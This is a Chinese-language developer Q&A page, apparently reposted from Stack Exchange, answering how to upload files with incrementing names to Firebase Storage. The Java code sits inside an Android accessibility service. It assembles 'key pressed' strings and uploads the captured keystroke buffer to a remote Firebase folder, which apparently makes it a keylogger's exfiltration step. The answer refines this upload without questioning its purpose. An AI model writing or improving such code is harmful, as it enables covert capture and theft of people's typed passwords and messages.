You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何修改程序实现按顺序生成文件并上传至Firebase Storage

实现按顺序生成文件并上传至Firebase Storage

要实现每次上传自动生成file1.txt、file2.txt这类递增文件名,核心是持久化记录当前文件序号,避免重启后序号重置。这里用SharedPreferences来存储计数,具体修改如下:

步骤说明

  • 每次上传前读取当前的文件序号,默认从1开始
  • 生成对应格式的文件名
  • 上传完成后更新序号并保存

修改后的代码

// 初始化SharedPreferences,用于持久化存储文件序号
SharedPreferences sp = getSharedPreferences("FileCounter", MODE_PRIVATE);
int currentFileCount = sp.getInt("count", 1); // 无记录时默认从1开始

String key_press = "key pressed :" + sb;
String fileName = "file" + currentFileCount + ".txt"; // 生成递增文件名

// 上传到Firebase Storage
StorageReference reference = FirebaseStorage.getInstance().getReference().child("Dcument");
reference.child(fileName).putBytes(sb.toString().getBytes())
        .addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() {
            @Override
            public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
                // 上传成功后更新序号并保存
                SharedPreferences.Editor editor = sp.edit();
                editor.putInt("count", currentFileCount + 1);
                editor.apply();
                // Toast.makeText(MyAccessibilityService.this, "文件上传成功", Toast.LENGTH_SHORT).show();
            }
        })
        .addOnFailureListener(new OnFailureListener() {
            @Override
            public void onFailure(@NonNull Exception e) {
                Toast.makeText(MyAccessibilityService.this, e.toString(), Toast.LENGTH_SHORT).show();
            }
        });

注意事项

  • 确保getSharedPreferences的上下文正确,在Service中直接用this即可
  • 若需重置序号,清除SharedPreferences中对应的count键值即可
  • 如果是多设备同步场景,可改用Firebase Realtime Database存储全局计数,避免并发上传导致序号重复

内容的提问来源于stack exchange,提问作者user17771492

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.24 21:18:16